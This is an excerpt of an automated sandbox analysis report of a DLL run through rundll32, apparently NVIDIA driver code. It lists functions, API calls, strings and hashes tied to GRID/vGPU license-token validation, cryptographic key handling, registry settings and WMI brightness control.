Opcode Fuzzy Hash: d9c8acccb119fdf6d5691a0567f94fa179966e421fbccb122f962e3160943c6c
Instruction Fuzzy Hash: 13F01C30750E089FFB58E7BAACC8BA537E2FB9C345B448055A405C7195DB38D941C741

Function 00007FF8A8D02DEA Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Init_thread_footer.LIBCMT ref: 00007FF8A8D02DF8

Part of subcall function 00007FF8A8D966A0: EnterCriticalSection.KERNEL32 ref: 00007FF8A8D966B0
Part of subcall function 00007FF8A8D966A0: LeaveCriticalSection.KERNEL32 ref: 00007FF8A8D966F0

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave
String ID:
API String ID: 3960375172-0
Opcode ID: c5947d29cb0026eff81cbd50f8bf128efe6ae772932f805a0bfbed681eda9c15
Instruction ID: 3f22104bd1061efcf6840a3e810c571e5bb314fa72e729f502b6fb11376ccfac
Opcode Fuzzy Hash: c5947d29cb0026eff81cbd50f8bf128efe6ae772932f805a0bfbed681eda9c15
Instruction Fuzzy Hash: 1AC04C31D2EB02F2F9009B14E8410613370EF503C4F8000B1D51D02271EF3CA1758378

Function 00007FF8A8DDCDC0 Relevance: 1.3, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF8A8DDCE3D,?,?,00000000,00007FF8A8DCD4E3,?,?,?,00007FF8A8DDC6EF,?,?,?,00007FF8A8DDC5E5), ref: 00007FF8A8DDCDFE

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 6db678ebbd684dba6e48db42fee9dfd296a3721e1ba496f89583ae119ae3c92c
Instruction ID: 2408027ff5b57324578db9d0c93d9f7195c5e0c440f8d87b9e37c8a82a6359b4
Opcode Fuzzy Hash: 6db678ebbd684dba6e48db42fee9dfd296a3721e1ba496f89583ae119ae3c92c
Instruction Fuzzy Hash: 1FF08C91F4B202A2FE74277258412791584EF847E0F480634DD3E873D1EF2CA4589AB8

Function 000001CEAFE2CA56 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.2086199598.000001CEAFDF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CEAFDF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1ceafdf0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6258ad962565a3180bb006997aefc3c2d41d9dd5a2811c72a17a211375779bb6
Instruction ID: 079f6d74a994747e646a627d660078c1ea3d4344aa2d2c018cf358a967e1ff30
Opcode Fuzzy Hash: 6258ad962565a3180bb006997aefc3c2d41d9dd5a2811c72a17a211375779bb6
Instruction Fuzzy Hash: 9401F431259A2A0FFB99E76DB8C0BE677C2F7D8330F588065D84AC72C6E924C9414280

Non-executed Functions

Function 00007FF8A8D746A0 Relevance: 62.0, APIs: 8, Strings: 27, Instructions: 794COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D73D70: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D73E80

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D74809

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

Strings

"node_url_list":[, xrefs: 00007FF8A8D74FD7
Could not fetch value for node URL list, xrefs: 00007FF8A8D75477
"jti":", xrefs: 00007FF8A8D74942
Scope reference token is not configured, xrefs: 00007FF8A8D74CB3
"svc_port_set_list":[, xrefs: 00007FF8A8D74CFF
Could not fetch value for lease server port, xrefs: 00007FF8A8D75480
Failed to extract public key, xrefs: 00007FF8A8D747F6
Could not fetch value for authentication server port, xrefs: 00007FF8A8D75489
readConfigsFromClientConfigToken, xrefs: 00007FF8A8D7486D, 00007FF8A8D749FB, 00007FF8A8D74BC4, 00007FF8A8D74DFF, 00007FF8A8D75146, 00007FF8A8D753B9
Could not fetch value for scope reference token, xrefs: 00007FF8A8D74CCD
"fulfillment_class_ref_list":[, xrefs: 00007FF8A8D74AE1
"auth","port":, xrefs: 00007FF8A8D74E93
Could not fetch value for node URL, xrefs: 00007FF8A8D7533C
Could not fetch value for server port list, xrefs: 00007FF8A8D75492
GridCommonUtils.cpp, xrefs: 00007FF8A8D74846, 00007FF8A8D749D0, 00007FF8A8D74B9A, 00007FF8A8D74DD3, 00007FF8A8D7511A, 00007FF8A8D7538D
Could not fetch value for fulfillment class reference token, xrefs: 00007FF8A8D74B48
"d_name":", xrefs: 00007FF8A8D74D4F
"scope_ref_list":[, xrefs: 00007FF8A8D74C5E
Could not fetch value for quick release server URL, xrefs: 00007FF8A8D750C9
CLS, xrefs: 00007FF8A8D75038
Could not fetch value for JWT identifier of the client configuration token, xrefs: 00007FF8A8D74980
Could not fetch the service instance type, xrefs: 00007FF8A8D74D82
"lease","port":, xrefs: 00007FF8A8D74EE7
"url":", xrefs: 00007FF8A8D751E1
Invalid client configuration token - signature validation failed, xrefs: 00007FF8A8D748FB
"url_qr":", xrefs: 00007FF8A8D75087
\Program Files\NVIDIA Corporation\vGPU Licensing\TrustedStorage, xrefs: 00007FF8A8D74A6D

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: swprintf$Init_thread_footer
String ID: "auth","port":$"d_name":"$"fulfillment_class_ref_list":[$"jti":"$"lease","port":$"node_url_list":[$"scope_ref_list":[$"svc_port_set_list":[$"url":"$"url_qr":"$CLS$Could not fetch the service instance type$Could not fetch value for JWT identifier of the client configuration token$Could not fetch value for authentication server port$Could not fetch value for fulfillment class reference token$Could not fetch value for lease server port$Could not fetch value for node URL$Could not fetch value for node URL list$Could not fetch value for quick release server URL$Could not fetch value for scope reference token$Could not fetch value for server port list$Failed to extract public key$GridCommonUtils.cpp$Invalid client configuration token - signature validation failed$Scope reference token is not configured$\Program Files\NVIDIA Corporation\vGPU Licensing\TrustedStorage$readConfigsFromClientConfigToken
API String ID: 2214013052-1828063398
Opcode ID: 153c3cf1d58fa7a3b0a371835e5b5f35038c49628ef033add85e9b502cf0b756
Instruction ID: 24333d93c52ea742623dba88bc993c9b45eb7e675d49076f518847e3dd70de31
Opcode Fuzzy Hash: 153c3cf1d58fa7a3b0a371835e5b5f35038c49628ef033add85e9b502cf0b756
Instruction Fuzzy Hash: BA828332A0AB82A5FB11DB64E8407ED77A5FB413C8F800135DA5D53AA9EF3CD509C764

Function 00007FF8A8D7AC00 Relevance: 60.1, APIs: 25, Strings: 9, Instructions: 621memoryencryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32 ref: 00007FF8A8D7ACD0
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7ACEE

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

LocalAlloc.KERNEL32 ref: 00007FF8A8D7ADBF
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7ADE1
LocalAlloc.KERNEL32 ref: 00007FF8A8D7B3E1
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7B403

Strings

Failed to verify signature (0x%x) - (%s), xrefs: 00007FF8A8D7B5CD
Failed to decode key, xrefs: 00007FF8A8D7ACDE, 00007FF8A8D7AED9
GridCloudLicensingCryptoWindows.cpp, xrefs: 00007FF8A8D7AD29, 00007FF8A8D7AE1D, 00007FF8A8D7AF27, 00007FF8A8D7B045, 00007FF8A8D7B131, 00007FF8A8D7B23A, 00007FF8A8D7B354, 00007FF8A8D7B42A, 00007FF8A8D7B4F8, 00007FF8A8D7B604
Failed to parse key, xrefs: 00007FF8A8D7AFF7, 00007FF8A8D7B1EC
Failed to compute hash on data, xrefs: 00007FF8A8D7B4C1
Failed to allocate memory, xrefs: 00007FF8A8D7ADD1, 00007FF8A8D7B0E5, 00007FF8A8D7B3F3
SHA256, xrefs: 00007FF8A8D7B56D
RSASHA256Verify, xrefs: 00007FF8A8D7AD4F, 00007FF8A8D7AE43, 00007FF8A8D7AF4F, 00007FF8A8D7B06D, 00007FF8A8D7B157, 00007FF8A8D7B262, 00007FF8A8D7B366, 00007FF8A8D7B43E, 00007FF8A8D7B50C, 00007FF8A8D7B618
Failed to import public key (0x%x) - (%s), xrefs: 00007FF8A8D7B306

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: swprintf$AllocLocal$BinaryCryptInit_thread_footerString
String ID: Failed to allocate memory$Failed to compute hash on data$Failed to decode key$Failed to import public key (0x%x) - (%s)$Failed to parse key$Failed to verify signature (0x%x) - (%s)$GridCloudLicensingCryptoWindows.cpp$RSASHA256Verify$SHA256
API String ID: 2293525744-2498357658
Opcode ID: d8f3303b16c45953b6ca959b5d39dddd3bc90e4b27dcab49aaab03715e782f50
Instruction ID: 35900ab32127a13480c7fcf6719b0a2b20b66c080f7b65296aad32adde748b0c
Opcode Fuzzy Hash: d8f3303b16c45953b6ca959b5d39dddd3bc90e4b27dcab49aaab03715e782f50
Instruction Fuzzy Hash: 16620E32A0AB41EAEB10DB64E4402DE77B4FB84398F500136DA8D57B69EF3CE159CB54

Function 00007FF8A8D4D604 Relevance: 56.9, APIs: 11, Strings: 21, Instructions: 873memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D4A5D4: SysAllocString.OLEAUT32 ref: 00007FF8A8D4A619
Part of subcall function 00007FF8A8D4A5D4: _com_issue_error.COMSUPP ref: 00007FF8A8D4A631
Part of subcall function 00007FF8A8D4A5D4: _com_issue_error.COMSUPP ref: 00007FF8A8D4A646

VariantInit.OLEAUT32 ref: 00007FF8A8D4D83E
SysAllocString.OLEAUT32 ref: 00007FF8A8D4D87C
VariantClear.OLEAUT32 ref: 00007FF8A8D4D9DC
VariantInit.OLEAUT32 ref: 00007FF8A8D4D9F0
VariantClear.OLEAUT32 ref: 00007FF8A8D4DA4C
VariantInit.OLEAUT32 ref: 00007FF8A8D4DA60
VariantClear.OLEAUT32 ref: 00007FF8A8D4DB4D
VariantClear.OLEAUT32 ref: 00007FF8A8D4DB78
VariantClear.OLEAUT32 ref: 00007FF8A8D4DDD6
VariantClear.OLEAUT32 ref: 00007FF8A8D4DEC6

Part of subcall function 00007FF8A8D4ABE8: _Init_thread_footer.LIBCMT ref: 00007FF8A8D4ACAB

Strings

ACELOG: Failed to Execute Method: , xrefs: 00007FF8A8D4DF4F
Nvidia::UXDriver::Core::WmiBrightnessControl::GetSetBrightnessViaWmiEc, xrefs: 00007FF8A8D4D74A, 00007FF8A8D4D7E5
ACELOG: Failed to Put inArg: , xrefs: 00007FF8A8D4E291
Nvidia::UXDriver::Core::WmiBrightnessControl::InitECBrightness, xrefs: 00007FF8A8D4D617
WmiBrightnessControl.cpp, xrefs: 00007FF8A8D4D615, 00007FF8A8D4D71E, 00007FF8A8D4D7DE
ACELOG: Failed to Get PathVariable: , xrefs: 00007FF8A8D4E0F5
ACELOG: Failed to Put Level: , xrefs: 00007FF8A8D4E1C3
ACELOG: Failed to Get Result: , xrefs: 00007FF8A8D4DE67
Result, xrefs: 00007FF8A8D4DBA5
ACELOG: Current NV WMI Brightness value: , xrefs: 00007FF8A8D4DD6A
WQL, xrefs: 00007FF8A8D4D657
ACELOG: PWM cycle value: , xrefs: 00007FF8A8D4DC63
__PATH, xrefs: 00007FF8A8D4DA8D
ACELOG: failed to get class object or method, xrefs: 00007FF8A8D4E365
NvGetSetBrightnessLevel, xrefs: 00007FF8A8D4D8F4, 00007FF8A8D4DAD0
NvWmiBrightness, xrefs: 00007FF8A8D4D886
Select * from NvWmiBrightness, xrefs: 00007FF8A8D4D641
ACELOG: ExecQuery failed: , xrefs: 00007FF8A8D4D774
inArg, xrefs: 00007FF8A8D4D9CA
ACELOG: Failed to spawn output param instance: , xrefs: 00007FF8A8D4E027
Level, xrefs: 00007FF8A8D4DA3A

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Variant$Clear$Init$AllocString_com_issue_error$Init_thread_footer
String ID: ACELOG: Current NV WMI Brightness value: $ACELOG: ExecQuery failed: $ACELOG: Failed to Execute Method: $ACELOG: Failed to Get PathVariable: $ACELOG: Failed to Get Result: $ACELOG: Failed to Put Level: $ACELOG: Failed to Put inArg: $ACELOG: Failed to spawn output param instance: $ACELOG: PWM cycle value: $ACELOG: failed to get class object or method$Level$NvGetSetBrightnessLevel$NvWmiBrightness$Nvidia::UXDriver::Core::WmiBrightnessControl::GetSetBrightnessViaWmiEc$Nvidia::UXDriver::Core::WmiBrightnessControl::InitECBrightness$Result$Select * from NvWmiBrightness$WQL$WmiBrightnessControl.cpp$__PATH$inArg
API String ID: 4231649107-2978839865
Opcode ID: d5208c8926c0af4829b03ecfae45d7c4e745a46c4453201a44d50b0b1cc27df7
Instruction ID: 5d797905587a9a3116ef480ad3dd100fbd895377381269f96c5fb506b12063d5
Opcode Fuzzy Hash: d5208c8926c0af4829b03ecfae45d7c4e745a46c4453201a44d50b0b1cc27df7
Instruction Fuzzy Hash: E2926E36A0AB81A9EB50DF61E8401EE77B4FB487C8F500136DA9D57B58EF38D158C718

Function 00007FF8A8D322D4 Relevance: 51.3, APIs: 12, Strings: 17, Instructions: 582stringsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D2E05C: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E11F

SHGetValueW.SHLWAPI ref: 00007FF8A8D3247D
lstrcatW.KERNEL32 ref: 00007FF8A8D324D9
SHGetValueW.SHLWAPI ref: 00007FF8A8D32507
WaitForSingleObject.KERNEL32 ref: 00007FF8A8D32579
WaitForMultipleObjects.KERNEL32 ref: 00007FF8A8D325A6
lstrcatW.KERNEL32 ref: 00007FF8A8D32610
SHGetValueW.SHLWAPI ref: 00007FF8A8D32646
lstrcatW.KERNEL32 ref: 00007FF8A8D328B9
SHGetValueW.SHLWAPI ref: 00007FF8A8D328F2

Part of subcall function 00007FF8A8D96700: EnterCriticalSection.KERNEL32 ref: 00007FF8A8D96710

Part of subcall function 00007FF8A8D57AA4: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D57B00
Part of subcall function 00007FF8A8D57AA4: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D57B1B

Part of subcall function 00007FF8A8D96D70: _onexit.LIBCMT ref: 00007FF8A8D96D74

_Init_thread_footer.LIBCMT ref: 00007FF8A8D32AED

Part of subcall function 00007FF8A8D966A0: EnterCriticalSection.KERNEL32 ref: 00007FF8A8D966B0
Part of subcall function 00007FF8A8D966A0: LeaveCriticalSection.KERNEL32 ref: 00007FF8A8D966F0

ResetEvent.KERNEL32 ref: 00007FF8A8D32B71
WaitForSingleObject.KERNEL32 ref: 00007FF8A8D32BAE

Part of subcall function 00007FF8A8D2F48C: lstrcatW.KERNEL32 ref: 00007FF8A8D2F525
Part of subcall function 00007FF8A8D2F48C: SHGetValueW.SHLWAPI ref: 00007FF8A8D2F63B

Strings

Exitting WaitControl(), xrefs: 00007FF8A8D32D39
Service is terminating, waitForMultipleObjects returned : , xrefs: 00007FF8A8D32C4A
NvXDCore.cpp, xrefs: 00007FF8A8D3236B, 00007FF8A8D3237A, 00007FF8A8D326BC, 00007FF8A8D326CB, 00007FF8A8D327C4, 00007FF8A8D327D3, 00007FF8A8D3292E, 00007FF8A8D3293D, 00007FF8A8D32BF4, 00007FF8A8D32C03, 00007FF8A8D32CE3, 00007FF8A8D32CF2
Starting WaitControl(), xrefs: 00007FF8A8D323CE
Unable to fetch licensed feature type from registry, xrefs: 00007FF8A8D32984
CurrentFeatureType, xrefs: 00007FF8A8D328DD
SOFTWARE\NVIDIA Corporation\Global\GridSW, xrefs: 00007FF8A8D328B2
Nvidia::UXDriver::Core::NvXDCorePlugin::WaitControl, xrefs: 00007FF8A8D323A1, 00007FF8A8D323B0, 00007FF8A8D326E9, 00007FF8A8D326F8, 00007FF8A8D327F1, 00007FF8A8D32800, 00007FF8A8D3295B, 00007FF8A8D3296A, 00007FF8A8D32C21, 00007FF8A8D32C30, 00007FF8A8D32D10, 00007FF8A8D32D1F
Grid cloud license acquired, xrefs: 00007FF8A8D3281D
EnableLicenseOnLogin, xrefs: 00007FF8A8D324F6
SYSTEM\CurrentControlSet\Services\nvlddmkm\Global\GridLicensing, xrefs: 00007FF8A8D324CB, 00007FF8A8D32600
Grid cloud license state machine initialized, xrefs: 00007FF8A8D32715
SYSTEM\CurrentControlSet\Services\nvlddmkm, xrefs: 00007FF8A8D3246C
DCHUVen, xrefs: 00007FF8A8D32465
SYSTEM\CurrentControlSet\Services\nvlddmkm\Global\GridSW, xrefs: 00007FF8A8D328A9
ClientConfigTokenPath, xrefs: 00007FF8A8D32631
SOFTWARE\NVIDIA Corporation\Global\GridLicensing, xrefs: 00007FF8A8D32609

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Value$lstrcat$CriticalSectionWait$DeallocateEnterInit_thread_footerObjectSinglestd::_$EventLeaveMultipleObjectsReset_onexit
String ID: ClientConfigTokenPath$CurrentFeatureType$DCHUVen$EnableLicenseOnLogin$Exitting WaitControl()$Grid cloud license acquired$Grid cloud license state machine initialized$NvXDCore.cpp$Nvidia::UXDriver::Core::NvXDCorePlugin::WaitControl$SOFTWARE\NVIDIA Corporation\Global\GridLicensing$SOFTWARE\NVIDIA Corporation\Global\GridSW$SYSTEM\CurrentControlSet\Services\nvlddmkm$SYSTEM\CurrentControlSet\Services\nvlddmkm\Global\GridLicensing$SYSTEM\CurrentControlSet\Services\nvlddmkm\Global\GridSW$Service is terminating, waitForMultipleObjects returned : $Starting WaitControl()$Unable to fetch licensed feature type from registry
API String ID: 2378871850-2296029946
Opcode ID: a80dcd66cee10d92e8e31574b34c8f824a1682cf19216faf37bb6f8f5497ab6c
Instruction ID: b09d9b93674b9a765a0184d0ee99cf04109ef15f2fb98837e7f4acc6f6a86412
Opcode Fuzzy Hash: a80dcd66cee10d92e8e31574b34c8f824a1682cf19216faf37bb6f8f5497ab6c
Instruction Fuzzy Hash: 41621E32A0AB82E9EB10DF60E8401E937B4FB44398F500136DA5D57B69EF3CD659C768

Function 00007FF8A8D7CEB0 Relevance: 49.5, APIs: 15, Strings: 13, Instructions: 519memoryCOMMON

Download Yara Rule

APIs

BCryptOpenAlgorithmProvider.BCRYPT ref: 00007FF8A8D7CF1C
GetProcessHeap.KERNEL32 ref: 00007FF8A8D7D16D
HeapAlloc.KERNEL32 ref: 00007FF8A8D7D17B
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7D1A0
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7D2D0
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7D40A
GetProcessHeap.KERNEL32 ref: 00007FF8A8D7D628
HeapAlloc.KERNEL32 ref: 00007FF8A8D7D636
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7D65B
BCryptExportKey.BCRYPT ref: 00007FF8A8D7D735
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7D545

Part of subcall function 00007FF8A8D7CB80: FormatMessageW.KERNEL32 ref: 00007FF8A8D7CCF3
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CD81
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CD90
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CD9F
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CDAB
Part of subcall function 00007FF8A8D7CB80: LocalFree.KERNEL32 ref: 00007FF8A8D7CE1B
Part of subcall function 00007FF8A8D7CB80: FreeLibrary.KERNEL32 ref: 00007FF8A8D7CE24

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7D76E
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7CF55

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

BCryptGetProperty.BCRYPT ref: 00007FF8A8D7D055
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7D08E

Part of subcall function 00007FF8A8D7CB80: LoadLibraryW.KERNEL32 ref: 00007FF8A8D7CBD5
Part of subcall function 00007FF8A8D7CB80: GetLastError.KERNEL32 ref: 00007FF8A8D7CBE7
Part of subcall function 00007FF8A8D7CB80: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7CC00
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE49
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE58
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE67
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE73

Strings

generateSymmetricKey, xrefs: 00007FF8A8D7CFB9, 00007FF8A8D7D0F1, 00007FF8A8D7D203, 00007FF8A8D7D337, 00007FF8A8D7D471, 00007FF8A8D7D5AC, 00007FF8A8D7D6AB, 00007FF8A8D7D7A7
AES, xrefs: 00007FF8A8D7CF12
GridCloudLicensingCryptoWindows.cpp, xrefs: 00007FF8A8D7CF90, 00007FF8A8D7D0C8, 00007FF8A8D7D1DC, 00007FF8A8D7D30E, 00007FF8A8D7D448, 00007FF8A8D7D583, 00007FF8A8D7D699, 00007FF8A8D7D793
Failed to generate key (0x%x) - (%s), xrefs: 00007FF8A8D7D3F7
OpaqueKeyBlob, xrefs: 00007FF8A8D7D500, 00007FF8A8D7D729
Failed to get the size of object (0x%x) - (%s), xrefs: 00007FF8A8D7D07B
Failed to export symmetric key (0x%x) - (%s), xrefs: 00007FF8A8D7D532, 00007FF8A8D7D75B
Failed to open algorithm handle (0x%x) - (%s), xrefs: 00007FF8A8D7CF42
Failed to set cryptographic properties (0x%x) - (%s), xrefs: 00007FF8A8D7D2BD
ChainingModeGCM, xrefs: 00007FF8A8D7D286
ChainingMode, xrefs: 00007FF8A8D7D28D
